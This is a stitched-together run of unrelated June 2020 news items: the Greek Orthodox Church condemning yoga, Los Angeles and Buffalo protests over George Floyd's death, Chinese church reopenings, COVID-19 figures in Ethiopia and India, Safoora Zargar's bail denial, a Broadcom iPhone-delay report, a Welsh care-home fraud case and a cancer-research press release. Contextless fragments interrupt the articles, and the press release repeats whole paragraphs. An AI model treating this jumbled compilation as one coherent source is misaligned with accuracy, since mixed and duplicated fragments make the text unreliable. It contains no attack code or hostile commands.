1 Nilson Report, Card Manufacturer Shipments - Payment Cards 2018 View source version on businesswire.com: https://www.businesswire.com/news/home/20200605005037/en/

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Bay League boys and girls basketball teams will play five league games and then there will be a tournament to determine seeding for CIF-Southern Section playoffs.
Yoga has been called 'absolutely incompatible' with the Christian faith by the Greek Orthodox Church and frown upon people using it to combat coronavirus quarantine stress.

The church's Holy Synod, made up of the patriarch and senior bishops, announced on Wednesday that yoga had 'no place in the lives of Christians', as it is a fundamental part of the religion of Hinduism.

The church urges Orthodox Christians to avoid practising yoga, after millions of people have turned to the activity to combat stress and keep fit indoors amid the coronavirus lockdown.

Yoga has been called 'absolutely incompatible' with the Christian faith by the Greek Orthodox Church and frown upon people using it to combat coronavirus quarantine stress (file image)

The decision was taken during a meeting of the Standing Holy Synod, chaired by Archbishop Ieronymos of Athens (pictured centre during a parliament swearing in ceremony in 2019)

'Yoga is absolutely incompatible with our Orthodox faith and has no place in the life of Christians,' the Holy Synod, the governing body of the Church of Greece said in a statement.

'It is a fundamental chapter in Hindu religion... it is not a 'kind of physical exercise',' it said.

The decision was taken during a meeting of the Standing Holy Synod, chaired by Archbishop Ieronymos of Athens on Tuesday.

The church decided to intervene after 'various news media' recommended yoga as a means to 'combat stress' during the coronavirus pandemic.

But Hindu statesman Rajan Zed said he is 'disheartened' at the decision and urges them to reconsider, as he believes denying people the benefits of yoga would be a disservice.

Zed, who is President of Universal Society of Hinduism, said the mental and physical discipline is not at odds with any faith, but rather makes one spiritually healthier.

This is not the first time that the Greek Orthodox Church has taken issue with yoga, with the Reverend Metropolitan Nektarios of Argolis voicing of its 'dangers' last year, the Times reported.

He held an event where he told the crowd it was 'wrong'. He said: 'We make a confession to God. This is the same thing that people do during yoga.'

The Ecumenical patriarch Bartholomew I, spiritual leader of the Greek Orthodox Church, pictured leading the Easter ceremony behind closed doors amid the coronavirus lockdown

The Church of Greece had already officially decreed in June of 2015 that 'the practice of yoga has no place in the lives of Christians' (pictured, a mass in a Greek Orthodox Church in Athens in 2015)

The Church of Greece had already officially decreed in June of 2015 that 'the practice of yoga has no place in the lives of Christians' - the same reasons it gives again now.

Around 300million people practise yoga across the world, according to the International Yoga Federation.

But there is debate about whether yoga is an intrinsically Hindu activity, with some insisting that it is, as it uses spiritual elements including sun salutations, which originate from a 'salute' to the Hindu sun god Surya.

But a Californian court in 2015 argued it should be allowed in a school physical education programme, as the practise is not religious if the yoga instructor does not consider it to be.

The Church of Greece also called upon the clergy to abstain from any event organised by the Rotary and Lions international organisations, The Greek Reporter said.

The circular argued that these groups do not limit their actions to social events, but also include religious acts, including the organisations's rite of passage for new members and its use of pray addressed vaguely to a God.

Around 300million people practise yoga across the world, according to the International Yoga Federation (file image)

It also informed Orthodox Christians about a new Protestant group, the 'Hellenic Missionary Union', and its proselytising - or converting - methods.

The circular said: 'Orthodox Christians as members of the Church, of the one and only Body of Christ, do not need various neo-heretical movements, nor their various preachers from within or outside Greece, and remain faithful to the Gospel of Jesus Christ, as it was originally delivered by the Holy Evangelists and interpreted by the Holy Fathers of our Church.'

This Church of Greece's decision comes after it sparked criticism early on in the pandemic by insisting that the coronavirus does not spread via Holy Communion.

'The Sacrament of the Eucharist remains non-negotiable, as we have been taught by the teaching of the Orthodox Tradition and the Holy Fathers of our Holy Church,' the Holy Synod said in a statement.

The Orthodox Church is one of the most powerful institutions in Greece, with influence in politics and justice, and actively tries to avert perceived proselytising by other religions.

In May, Greece began loosening coronavirus lockdown restrictions imposed across the country in March.

So far the country has come out relatively well compared to other EU states, with fewer than 180 deaths in a population of 11million.
More than 1,000 demonstrators, many holding signs, gather at Hollywood Boulevard and Vine Street on Tuesday to protest the death of George Floyd at the hands of police. (Al Seib / Los Angeles Times)

The same outrage over racial injustice that ignited rioting in South Los Angeles in 1992 has propelled a week of protests across Los Angeles in the wake of George Floyds death under the knee of a Minneapolis police officer.

In 1991, a black man  Rodney King  was beaten by police; four white officers were acquitted the next year. The anger and frustration left businesses burned and looted in South L.A. as well as in Koreatown, where tensions had already been stoked by the light sentence given to a Korean merchant for fatally shooting a black teenage girl the merchant had accused of shoplifting. Physical and emotional scars of that devastation remain.

The difference in 2020 is that there appear to have been no big demonstrations in South Los Angeles, where the reality of police violence against people of color is all too well known. Instead, protesters have taken their anguished cries into affluent neighborhoods across the city, where residents live at a comfortable detachment from police violence.

Peaceful protesters  and it is crucial to distinguish them and their organizers from the violent opportunists who occasionally traveled in their wake  demonstrated in Hollywood, West Hollywood, and the Fairfax district, and moved west to the ocean for a demonstration in Santa Monica. There have been protests in Westwood and Brentwood, in Van Nuys in the San Fernando Valley. A thousand people demonstrated at the pier in Manhattan Beach, and hundreds marched in Newport Beach.

They have massed downtown outside the government offices of L.A. city and county power brokers and in Windsor Square at the official residence of L.A. Mayor Eric Garcetti, where they chanted defund the police. Ethnically diverse and unflinching at a time when police or a virus could take them down, they have stood on streets, sidewalks and lawns to make the point that racial inequity must stop.

We want to go to places of white affluence so that the pain and outrage that we feel can be put right in their faces, Melina Abdullah, one of the leaders of Black Lives Matter, told the Los Angeles Times.

Story continues

It produced results. The Los Angeles City Council proposed reducing the L.A. Police Department budget by as much as $150 million in the coming fiscal year, drawing support from Garcetti. The Police Commission rolled out a slate of reforms. The mayor and other government officials denounced the killing of Floyd not just as tragic but also as a murder.

There's more work to be done, but this much is clear: Peaceful protest in this city has been strategic, effective and brave. Black activists melded their relentless push for reform with the power of a growing coalition of racially diverse individuals who were as outraged as any black person by that cellphone video of Floyd pleading in vain to be allowed to breathe.

In no way does the righteousness of peaceful protesters excuse the despicable destructive behavior of opportunists in these crowds. We cannot say this strongly enough: We condemn the vandalism and looting inflicted on parts of Los Angeles. There is no justification for it. None. But the peaceful protesters who have marched day and night and called for racial justice should be applauded for their part in what we hope will be real reform in this city.
by Wang Zhicheng

They had been closed for about five months due to the pandemic. Churches are the last things to be reopened, after industries, restaurants, cinemas, street markets. Permits from all levels of authority and guarantees on preventive health measures are required. Questions on religious freedom, on the silence of the bishops and the Vatican.

Beijing (AsiaNews) - The Chinese government has issued a notice that it will be possible to reopen churches for worship after almost five months of closure due to the pandemic. But the bureaucratic process and the conditions for reopening make the return to places of worship for faithful very difficult.

When China isolated Wuhan on January 23 (epicenter of the pandemic from Covid-19) and then gradually extended the measure all the provinces of the country, the churches were immediately closed. Priests and faithful had to resort to online masses, rites, indications to sanctify the festive precept without mass, family prayer, etc.

Since the beginning of March, the country has begun to return to life again and reopened industries, restaurants, and even cinemas and street vendors. Churches were left closed until June. But even now, the conditions for reopening them to the faithful are unnerving.

Paul, a priest from central China, complains: To open the church we have to get a permit from the authorities at every level: from village, city, province and this requires time and travel. In addition, we must prepare the church both to welcome the faithful and to guarantee sanitary conditions. The sacred buildings can in fact be reopened only on condition that the parishes guarantee pandemic prevention measures such as temperature control, masks, disinfectants, seating, entrance and exits etc.

In some provinces, such as in Sichuan, special permission is required to resume catechism courses. In other provinces, the Patriotic Association demands that the reopening take place with sermons on love of country and with patriotic songs, according to the rules established by the New regulations on religious activities, which require "sinicization" and "patriotism" towards the Chinese Communist Party for every religious gesture.

"Of course - continues Fr. Paul - celebrating mass with the people is very important and more significant than attending online, but I ask myself: do we really have freedom of religion, as stated in our Constitution? Religion does not seem to belong to us; it belongs to the Party. But must our bishops, who enjoy the favors and benefits that the Party grants them, always remain silent? And does the Vatican, which signed the Provisional Agreement two years ago realize this? ".
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Source: Xinhua| 2020-06-05 22:43:42|Editor: huaxia

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ADDIS ABABA, June 5 (Xinhua) -- Ethiopia's confirmed COVID-19 cases reached 1,805 after 169 new cases were confirmed on Friday, the Ethiopian Ministry of Health said.

This has been the highest daily increase in Ethiopia, which reported its first confirmed case on March 13,

A total of 5,798 tests were conducted in the previous 24 hours and 169 tested positive, the ministry said in a statement.

One of the 169 new cases, 111 males and 58 females aged between 1 and 79, is an American citizen; the others are Ethiopian nationals, the statement said.

The ministry said 262 patients who were tested positive for COVID-19 have recovered, 12 of them in the past 24 hours.

A 35-year-old Ethiopian woman succumbed to the disease on Friday, bringing the total number of deaths related to COVID-19 in the east African country to 19.

In April, the Ethiopian House of People's Representatives, the lower house of parliament, announced a five-month state of emergency to curb the spread of COVID-19 in Africa's second most populous nation, which has a population of about 107 million. Enditem
Charlevoix resident part of election fraud investigation

Charlevoix resident John Haggard is among a group of Republicans who signed an Electoral College certificate attempting to award the states 16 votes to Donald Trump following the 2020 election  a document now under federal investigation.
Were going to continue to make sure that were focused on reducing the cost structure in line with where revenue trends will be in the future, Jimenez said. Were going to take other actions to help reduce the expense out of the business.
Kochi, June 5 : Kerala film producers on Friday claimed that the Malayalam film industry was facing its 'worst ever crisis" and the only way forward was to cut by half the production cost of films.

Speaking to the media after a meeting of Kerala Film Producers Association, its leader Renjith said: "We will soon share our concerns with all other film bodies and we are certain they are also aware of what's happening. If this industry has to move forward, there is no other way." The Kerala film industry consists of various bodies like AMMA (actors' body), FEFKA (which represents all sections of industry from light boys to directors), and distributors and exhibitors bodies.

"In 2019, just six films were able to make profit from theatre releases. Other avenues to recover cost is through satellite and outstation releases within the country and outside. In the present situation, all such things will not happen for some time. So, the cost of production has to be reduced. Moreover, if one looks into the pattern of funding for new films, 50 per cent of the funds in recent times come from producers who are outside India. Here too, things have reached a dead end," said Renjith.

The Association will now meet with others connected to the regional film industry and come up with a consensus on the issue.

Nearly, 10 films are awaiting release amid the coronavirus lockdown while more than two dozen films are at various stages of production.
Two Buffalo police officers were suspended without pay Thursday night after a video showed them shoving a 75-year-old protester, who was hospitalized with a head injury, the authorities said.

The video taken by WBFO, a local radio station, shows the man approaching a group of officers during a protest stemming from the death of George Floyd. After he stops in front of them to talk, an officer yells, push him back three times; one officer pushes his arm into the mans chest, while another extends his baton toward him with both hands.

The man is seen flailing backward, landing just out of range of the camera, with blood immediately leaking from his right ear. The video shows an officer leaning down to examine him, but another officer then pulls the first officer away. Several other officers are seen walking by the man, motionless on the ground, without checking on him.

BRUTALITY: Texas State student critically injured by Austin police at protest

Mayor Byron Brown said Thursday night that the man was in serious condition.

The video, which rapidly spread across social media, added to a growing body of videos from across the nation that showed officers responding to protests against police violence with more police violence. Fury among online supporters of the protests was heightened by the police departments initial claim that the man tripped and fell, a description at direct odds with the video.

Gov. Andrew Cuomo of New York condemned the actions of the officers in a statement late Thursday.

The incident in Buffalo is wholly unjustified and utterly disgraceful, Cuomo said. Ive spoken with City of Buffalo Mayor Byron Brown and we agree that the officers involved should be immediately suspended. Police officers must enforce  NOT ABUSE  the law.

It sickens me, the Erie County executive, Mark Poloncarz, wrote on Twitter about the video, which includes both vulgarity and disturbing images.

The Buffalo Police Department told local media that five people were arrested during the protest.

Brown said in a statement that he was disturbed by the episode and that the citys police commissioner had ordered an immediate investigation.

After days of peaceful protests and several meetings between myself, police leadership and members of the community, tonights event is disheartening, he said.

This article originally appeared in The New York Times.
HACKENSACK, N.J. and NEW YORK, June 5, 2020 /PRNewswire/ -- As part of the Memorial Sloan Kettering  Hackensack Meridian Health Partnership, the two organizations have formed an Immunology Research Collaboration. Through this joint initiative, researchers can apply for funding to support innovative investigations to explore the power of the immune system and ways it may be harnessed to fight cancer.

The three researchers with projects selected in 2020 for funding support over one to two years are:

Johannes Zakrzewski , M.D., Associate Member in the Hackensack Meridian Health Center for Discovery and Innovation, is leading the project "Targeting Auto and Neoantigens with In Vivo -Generated Antigen-Specific T Cells." Through this project, his lab will investigate novel strategies for cancer immunotherapy and immunosurveillance by employing the capacity of the thymus gland in mice to produce cancer-targeted T-cells, and by harnessing advances in gene therapy and chimeric antigen receptor technology to help lay the groundwork for future cancer immunotherapy treatment options that are safe and durable. This immunotherapy approach could be especially suitable for children and young adults with cancer.

Associate Member in the Hackensack Meridian Center for Discovery and Innovation, is leading the project "Targeting Auto and Neoantigens with -Generated Antigen-Specific T Cells." Through this project, his lab will investigate novel strategies for cancer immunotherapy and immunosurveillance by employing the capacity of the thymus gland in mice to produce cancer-targeted T-cells, and by harnessing advances in gene therapy and chimeric antigen receptor technology to help lay the groundwork for future cancer immunotherapy treatment options that are safe and durable. This immunotherapy approach could be especially suitable for children and young adults with cancer. Boglarka Gyurkocza, M.D., a Memorial Sloan Kettering medical oncologist, is leading the project "Targeting the Gut Microbiome to Improve Outcomes after Allogeneic Hematopoietic Cell Transplantation." This project will explore in an ongoing clinical trial whether certain antibiotics preserve specific anaerobic intestinal microbiota in patients who have received stem cell transplants, and how preserving this gut flora affects the risk of patients developing graft-versus-host disease (GVHD), a serious complication of stem cell transplant. The trial is currently open at MSK and will also open at the John Theurer Cancer Center. Dr. Gyurkocza and colleagues will also examine how the loss of anaerobic gut flora may impact the risk of relapse and progression in multiple myeloma mouse models.

a Memorial Sloan Kettering medical oncologist, is leading the project "Targeting the Gut Microbiome to Improve Outcomes after Allogeneic Hematopoietic Cell Transplantation." This project will explore in an ongoing clinical trial whether certain antibiotics preserve specific anaerobic intestinal microbiota in patients who have received stem cell transplants, and how preserving this gut flora affects the risk of patients developing graft-versus-host disease (GVHD), a serious complication of stem cell transplant. The trial is currently open at MSK and will also open at the John Theurer Cancer Center. Dr. Gyurkocza and colleagues will also examine how the loss of anaerobic gut flora may impact the risk of relapse and progression in multiple myeloma mouse models. Rena Feinman , Ph.D., Associate Member in the Hackensack Meridian Health Center for Discovery and Innovation, is leading a project called "Impact of the Gut Microbiome on Immunotherapeutic Response in Multiple Myeloma." She and the project team will investigate whether distinct gut microbiota can predict the risk for relapse in patients with high-risk multiple myeloma who received the standard of care, including a stem cell transplant from a donor. By analyzing the gut microbiota in patients' stool before and after transplant, the researchers will also be able to personalize which antibiotics a patient receives. Dr. Feinman will also explore the relationship between the gut microbiome and multiple myeloma progression in experimental models.

"Immunotherapy has become an essential pillar of cancer treatment, but much remains to be discovered about the immune system and new ways to take advantage of its power to treat cancer effectively," said Paul Sabbatini, M.D., deputy physician-in-chief for clinical research at Memorial Sloan Kettering. "The Immunology Research Collaboration between Memorial Sloan Kettering and Hackensack Meridian Health gives researchers an opportunity to delve deeply into unexplored facets of the immune system, both in the lab and clinic, and speed discoveries that will ultimately contribute to reducing the burden of cancer on our patients, their families, and the world. We are enthusiastic about the potential of these three research projects and look forward to their results."

"While immunotherapy is revolutionizing cancer treatment, its benefits are not always sustainable over the long term," noted Andrew Goy, M.D., M.S., chairman and executive director of John Theurer Cancer Center and physician-in-chief of the Hackensack Meridian Health Oncology Care Transformation Service. "The work of these investigators will expand our knowledge of the immune system and glean new insights which may lead to novel immunotherapeutics that are more powerful and more durable than those we are using today. These projects capture the collaborative spirit of this initiative and could have a significant impact on patient outcomes."

ABOUT HACKENSACK MERIDIAN HEALTH

Hackensack Meridian Health is a leading not-for-profit health care organization that is the largest, most comprehensive and truly integrated health care network in New Jersey, offering a complete range of medical services, innovative research and life-enhancing care.

Hackensack Meridian Health comprises 17 hospitals from Bergen to Ocean counties, which includes three academic medical centers  Hackensack University Medical Center in Hackensack, Jersey Shore University Medical Center in Neptune, JFK Medical Center in Edison; two children's hospitals - Joseph M. Sanzari Children's Hospital in Hackensack, K. Hovnanian Children's Hospital in Neptune; nine community hospitals  Bayshore Medical Center in Holmdel, Mountainside Medical Center in Montclair, Ocean Medical Center in Brick, Palisades Medical Center in North Bergen, Pascack Valley Medical Center in Westwood, Raritan Bay Medical Center in Old Bridge, Raritan Bay Medical Center in Perth Amboy, Riverview Medical Center in Red Bank, and Southern Ocean Medical Center in Manahawkin; a behavioral health hospital  Carrier Clinic in Belle Mead; and two rehabilitation hospitals - JFK Johnson Rehabilitation Institute in Edison and Shore Rehabilitation Institute in Brick.

Additionally, the network has more than 500 patient care locations throughout the state which include ambulatory care centers, surgery centers, home health services, long-term care and assisted living communities, ambulance services, lifesaving air medical transportation, fitness and wellness centers, rehabilitation centers, urgent care centers and physician practice locations. Hackensack Meridian Health has more than 35,000 team members, and 7,000 physicians and is a distinguished leader in health care philanthropy, committed to the health and well-being of the communities it serves.

The network's notable distinctions include having four hospitals among the top in New Jersey by U.S. News and World Report. Other honors include consistently achieving Magnet recognition for nursing excellence from the American Nurses Credentialing Center and being named to Becker's Healthcare's "150 Top Places to Work in Healthcare/2019" list.

The Hackensack Meridian School of Medicine at Seton Hall University opened in 2018, the first private medical school in New Jersey in more than 50 years, welcomed its second class of 96 students in 2019 to its ON3 campus in Nutley and Clifton. Additionally, the network partnered with Memorial Sloan Kettering Cancer Center to find more cures for cancer faster while ensuring that patients have access to the highest quality, most individualized cancer care when and where they need it.

Hackensack Meridian Health is a member of AllSpire Health Partners, an interstate consortium of leading health systems, to focus on the sharing of best practices in clinical care and achieving efficiencies.

For additional information, please visit www.HackensackMeridianHealth.org.

ABOUT MEMORIAL SLOAN KETTERING

As the world's oldest and largest private cancer center, Memorial Sloan Kettering has devoted more than 135 years to exceptional patient care, influential educational programs, and innovative research to discover more effective strategies to prevent, control and, ultimately, cure cancer. MSK is home to more than 20,000 physicians, scientists, nurses, and staff united by a relentless dedication to conquering cancer. Today, we are one of 51 National Cancer Institute-designated Comprehensive Cancer Centers, with state-of-the-art science and technology supporting groundbreaking clinical studies, personalized treatment, and compassionate care for our patients. We also train the next generation of clinical and scientific leaders in oncology through our continually evolving educational programs, here and around the world. Year after year, we are ranked among the top two cancer hospitals in the country, consistently recognized for our expertise in adult and pediatric oncology specialties. www.mskcc.org.

SOURCE Hackensack Meridian Health

Related Links

http://www.HackensackMeridianHealth.org


Salma Hayek wants Justice for Giovanni.

The Frida star, 53, is using her platform to address ongoing tension between the public and law enforcement, as exhibited in America's backlash to the death of George Floyd, and an incident earlier last month in Mexico in which a man named Giovanni Lopez was allegedly beaten to death by police because he wasn't wearing a mask on his face amid the COVID-19 pandemic.

'Justice for Giovanni Lopez, who was detained in Mexico by 10 policemen for allegedly not wearing a mask,' the Mexico-born actress captioned a post.

Focused: Salma Hayek, 53, is using her platform to address an incident earlier last month in Mexico in which a man named Giovanni Lopez was allegedly beaten to death by police because he wasn't wearing a mask on his face amid the COVID-19 pandemic

In an accompanying shot, Hayek stared straight into the camera wearing a black face mask that read, 'Justice for Giovanni' in red letters.

Hayek, who's married to billionaire businessman Francois-Henri Pinault, said that Lopez 'was eventually found shot in the leg and beaten to death.'

The Oscar-nominated actress said that 'corruption and police brutality has to stop' on an evening the AP reported hundreds of protestors in the streets of Jalisco's capital Guadalajara.

Amid the protests, a pair of police patrol cars were touched and graffiti was sprayed after break-ins to the state Capitol building.

Academy Award-winning filmmaker Guillermo del Toro has also joined the dialogue demanding justice in the hotbed case, which took place on May 4 in near Guadalajara when he was arrested in connection for misdemeanor disturbing the peace or resisting arrest, according to the AP.

He was seen in a clip being placed in a police truck by multiple officers as nearby cities said the police were being too brutal in their behavior toward the man.

He was dead in a matter of hours while in police custody; not arrests have been made in the case as of Thursday.

His brother Christian Lopez told Latin US in a story published last month, that Mayor Eduardo Cervantes promised he'd pay him $9,000, to not release footage of the arrest he recorded with his cellphone.

'The policemen came to carry out a raid to arrest people who did not have face masks. We were going to dinner and they came and assaulted us,' Christian said. 'My brother was grabbed by like ten policemen, myself as well, but I managed to get away and he was being beaten, tortured, choked there. At that moment I started recording.'

State Gov. Enrique Alfaro said in response to the events: 'I am also hurt, I am also indignant, I am also enraged that these happen in Mexico.'
Indeed, we are living in challenging times with national lockdowns, social distancing, and wearing protective masks in public. Programs and activities which the Jewish Pavilion has provided in the past are temporarily sidelined until the time when resuming these programs is safe. In the meantime, creative ideas to continue connecting with our Jewish seniors have given way to the production of various YouTube and Zoom Shabbat and holiday services that are now being shown in a variety of facilities around town. Shavuot bags of cheer were distributed to all Jewish residents prior to the holida...
As a candidate for the Democratic presidential nomination, Julian Castro was outspoken about the need for police reform in America, releasing a detailed policy plan to bring about change.

Calls for reform have perhaps never been louder than in the wake of the death of George Floyd in Minneapolis, sparking protests across the country, including here in San Antonio.

Castro, the former mayor of San Antonio and secretary of Housing and Urban Development, will join the Express-News Editorial Board today at 10 a.m. for a livestreamed meeting to discuss police reforms. Those interested in viewing can join the conversation at ExpressNews.com.

If, for technical reasons, the meeting does not air, we will record it and post highlights to the website.
India recorded 9,962 new cases of the coronavirus disease on Thursday. It may or may not cross 10,000 cases on Friday (Editors note: it did not; India saw 9,398 new cases on Friday). With the numbers continuing to rise  the country has added roughly 50% of its cases in the past fortnight  it is time to revisit some questions.

1. Is there community transmission?

The ministry of health has continued to insist there isnt, but with a total of 236,037 cases as of Friday, it is time to accept that in hot spots such as Delhi, Mumbai and Chennai, there is community transmission. Studies in India have shown that around 28% of the people infected with the Sars-CoV-2 virus are asymptomatic. Globally, this proportion is around a third of the infected. Many others show mild symptoms and shrug it off. The positivity rate (positive tests to total number of tests) continues to rise or, at worst, stay the same in many states, especially those with a high caseload. We can continue to define community transmission restrictively, and insist that the pandemic has still not reached that stage in India, but it is perhaps time to accept the truth and move on. It is not going to change anything.

2. Do we have enough hospital beds?

This is a tricky question  simply because anecdotal evidence from two cities with a high caseload, Delhi and Mumbai, seems to suggest that we do not. Sure, on paper, there are enough hospital beds, but the honest way of framing this question would be whether everyone who is sick enough to be hospitalised (and who wants to be hospitalised) manages to get admitted to a hospital. The straight answer to that question would be: not always. Some do; others do, but after a long wait; and still others do not. India is not unique in this aspect. The health care systems of even the UK and the US were overwhelmed by Covid-19. And these were in better shape to begin with. May be states should declare more hospitals as dedicated Covid-19 facilities (as Delhi has done). And maybe they need to figure out a way of ensuring that high-risk patients (senior citizens and those with other ailments) get priority.

Coronavirus outbreak: Full coverage

3. Is it easy to get tested?

The short answer to that would be: Ha!

The long one would be that between restrictive and limiting guidelines, long waits, and delayed results, it isnt. India hasnt changed its testing protocol since the middle of May. It is perhaps time that it did, making it easier to get tested. Unless there is a problem of capacity when it comes to laboratories and testing kits  which the health ministry and the Indian Council of Medical Research (ICMR) have repeatedly assured us is not the case.

Indias health care system (especially its public health care system) has for long been characterised by selfless health care workers labouring to do their best with inadequate infrastructure. Decades of low public investment in health care cannot be wished away by a few weeks of planning and emergency spending. Ergo, difficulties experienced in getting tested or finding a hospital bed are understandable. What isnt understandable is the refrain from governments that there is no problem either with testing or with hospital admissions. Reports, including some carried by Hindustan Times, clearly point to a gap between what governments say is available in terms of testing and hospital capacity and what people say they have access to. It is time to address this gap now  by using technology to allot testing slots and hospital beds, and by aggressively expanding capacity. There is a very good reason to: the trajectory of the pandemic in India shows that it is yet to hit its peak here.

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A day after a Delhi court rejected Jamia Millia Islamia scholar Safoora Zargar's bail plea, social media was rife with criticism and solidarity for the pregnant student.

Safoora, whose bail plea was rejected for the third time, has been in prison since Delhi Police's Special Cell arrested her on April 10 in connection with her role in inciting violence ahead of sectarian riots in North-East Delhi in the month of May.

Rejecting her bail plea, the Additional Sessions Court judge Dharmender Rana said that the court found no merit in her application.

The verdict has outraged many on social media who slammed the court as well as Delhi Police for forcing the student to remain in prison amid the COVID-19 crisis, despite being pregnant.

Others also questioned why those such as BJP leaders Kapil Mishra who was accused of inciting violence as well and were even caught on tape doing so allowed to roam free while students were under arrest.

Actress Swara Bhasker also took to Twitter to call for an end to witch-hunting of students, as did filmmaker Hansal Mehta who asked, "Why is Safoora Zargar in jail?"

Why is #Safoora_Zargar in jail? Hansal Mehta (@mehtahansal) June 5, 2020

Pregnant Lady, Safoora Zargars Bail application rejected by Judge saying There was conspiracy to Blockade road. When Pointed she wasnt in the area, Judge said mere absence doesnt matter. Meanwhile those who openly gave slogans to Kill and openly lynched are moving freely Joy (@Joydas) June 4, 2020

Safoora Zargar denied bail. The word shameful doesnt cut it. Hiba Beg (@HibaBeg) June 4, 2020

Pregnancy is a metabolic storm. It changes a woman more than physically. Pregnancy is a privilege. Now imagine what happens when this storm is brewing inside & you are incarcerated. Thrown in prison. Denied any concessions. Yeah thats the tweet.We are so sorry Safoora Zargar. Shah Alam Khan (@shahalam13) June 4, 2020

Anguished to know that Safoora Zargar has been denied bail. #ReleaseSafooraZargar https://t.co/yHPax96BXx Aysha Renna (@AyshaRenna) June 4, 2020

Some such as Supreme Court advocate Karuna Nundy even pointed out the hypocrisy in outrage against the killing of a pregnant elephant which recently took place in Kerala but allowing a pregnant woman to rot in jail just for blocking a road. Others also pointed out the hypocrisy behind the selective outrage.

Safoora Zargar is 21 weeks pregnant. She has polycystic ovarian syndrome and is at a heightened risk of miscarriage. If you are upset about the Elephant who was fed crackers, a pregnant woman jailed for prima facie blocking a road deserves your strongest support. Karuna Nundy (@karunanundy) June 5, 2020

We seem to live in a country now where its ok to communalise the death of a pregnant elephant while we keep a pregnant mother in jail accusing her of inciting communalism. Have we stopped thinking altogether or lost the ability to empathise? #ElephantDeath #safoorazargar Mohan Kumaramangalam   (@MKumaramangalam) June 5, 2020

India has incarcerated a pregnant woman for nearly two months, on the basis of dodgy evidence, despite her lawyer telling the court she has health complications that could result in a miscarriage. Read @betwasharma 's report.https://t.co/r4f2AgFFjl Aman Sethi (@Amannama) June 5, 2020

Several journalists also pointed out the discrepancies of the UAPA itself which allowed cops and courts to imprison targets with ease and without accountability.

After her arrest, social media was rife with disrespectful comments regarding her pregnancy and her husband. But Zargar's family has held strong the crisis. Speaking to The Quint, Zargar's sister Sameeya sai that Safoora was stronger than she appeared.
(Bloomberg) -- Broadcom Inc., a major Apple Inc. supplier, suggested the latest iPhones will be launched later than usual this year.

Hock Tan, chief executive officer of Broadcom, discussed a major product cycle delay at a large North American mobile phone customer, during an earnings conference call with analysts on Thursday.

Tan often refers to Apple this way. This time, the executive said the delay will mean the bump in wireless revenue experienced by Broadcom will happen one quarter later than usual this year.

We are in, Hock said, referring Broadcom components in the iPhone. The question is timing.

This year, we do not expect to see this uptick in revenue until our fourth fiscal quarter, the CEO added. So accordingly, we expect, our wireless revenue in Q3 will be down sequentially.

Apple is planning to release its next iPhone line multiple weeks later than usual, Bloomberg News previously reported. The company typically unveils its new iPhones in the second half of September, but has occasionally, like in the case of the iPhone X in 2017, launched major new models later in the year.

Phone makers usually order components months ahead of product launches. Apple typically releases new versions of the iPhone in September. If it followed that time line, Broadcom would receive orders in the current quarter, which runs through July. The chipmaker said thats not happening this year.

Because of product cycle delays the trough for our fiscal year will be Q3. This coming quarter, Tan said. Nothing has changed in terms of designs, nothing has changed in terms of the content, including more 5G components, the CEO added.

The delay to the new iPhone release is due to the Covid-19 pandemic, which has slowed Apple engineer travel to China to finalize the devices and required employees to mostly work from home in the early months of 2020.

Broadcoms Tan also warned about supply constraints and an expected substantial reset in wireless when the companys results came out on Thursday. With much of the worlds population confined to their homes, handset demand has dropped.

Story continues

(Updates with CEO comment in eighth paragraph.)

For more articles like this, please visit us at bloomberg.com

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A care home manager swindled 23,000 out of her patients and sent the money to a conman she had fallen in love with on a Christian dating site.

Helen Hughes, 56, took money from five residents of the Ashton Park Care Home in Newport, South Wales to give to her online lover.

Hughes had been told by the conman that he was with the American forces in Afghanistan who would soon inherit millions when he returned to the US.

Hughes, of Bettws, Newport, admitted two charges of fraud and five of theft between December 2012 and November 2018.

Helen Hughes (pictured) fleeced 23,000 out of residents who lived in a care home in Newport, South Wales, that she managed

She took money from five different Ashton Park Care Home (pictured) patients and gave the money to a conman she had fallen in love with on a Christian dating site

The judge added that Hughes, who had no previous convictions had been 'particularly mean' and had committed a 'terrible' breach of trust.

In a victim impact statement, care home owner Bishnu Khanal said he had been left out of pocket by 12,000 and had compensated residents along with paying 3,000 in funeral costs.

He said: 'The home's reputation has been tarnished. One resident moved to a different home and others may not have come because of the knowledge of what happened.'

Hughes, who cares for an autistic adult son, is now a warehouse shelf stacker earning 300-a-week, Cardiff Crown Court heard.

Prosecutor Jason Howell said Hughes' victims were widowed, in their 80s and 90s and two have since died.

He added: 'Over six years she pocketed their allowances and used their debit cards.'

Judge Daniel Williams told Hughes she had been 'utterly taken in' by the mystery fraudster.

He said: 'You met a man on an online Christian dating website who turned out to be a conman who you fell in love with.

'He promised you the world and you were taken in by him. He said he lived on a naval base and on his return to America, there would be millions in inheritance waiting.

'That may have been seen as transparent by some, but you were utterly taken in by it.'

Hughes (pictured), who cares for an autistic adult son, is now a warehouse shelf stacker earning 300-a-week, Cardiff Crown Court heard

James Evans, defending said: 'She was the victim of a cruel scam herself.

'She very foolishly sent large sums of money to someone claiming to be a serviceman in Afghanistan.'

She was jailed for 18 months, suspended for two years, and ordered to carry out 200 hours unpaid work.
On one-year completion of his government, Prime Minister Narendra Modi won accolades from Himachal Pradesh chief minister Jai Ram Thakur. Describing Modis second term as  historic Thakur one after other counted achievements of the National Democratic Alliance government.

Not only the country progressed under the dynamic leadership of Narendra Modi but he has set an example for the international community, the CM said. He referred to the achievements of the Modi government whether it was a surgical strike, amendment in the triple talaq bill abrogation of Article 370 and 35 (A), by bringing in Citizen amendment Act, apache helicopters to defence, unique health service to the people of the country Ayushman Bharat has been important achievements.

It was due to Modi Jis bold decision that the government abrogated Article 370 in Kashmir, said chief minister Jai Ram Thakur addressing mediapersons in the government-run Hotel Peterhoff. Thakur also praised then government for introducing a health insurance scheme for the countrymen.

He said the policies of the Union government under the leadership of Narendra Modi has played an important role by curbing terrorism, bringing unity in J&K, and providing health services and insurance to the citizens.

Thakur also lauded Modi for combating coronavirus across the country. Starting from Janata curfew, Modi Ji took laudable measures to facilitate the countrymen during the grave humanitarian crisis, he said adding that Shramik trains were started by the Centre to transport migrants and those stranded in several parts of the country to their native places. He said that due to endeavors of the Modi government, 52 lakh persons were benefitted across the country.

He said that the PM is working towards making India self-reliant amidst the corona crisis.

The Economic package of 20 lakh crore has also been helpful for the people across the country. The CM added that the Citizenship (Amendment) Act, 2019 enacted by the Centre would ensure a life of dignity for the suppressed minority communities including, Hindus, Sikhs, Buddhists, Jains, Parsis and Christian who fled to India from Afghanistan, Bangladesh and Pakistan.

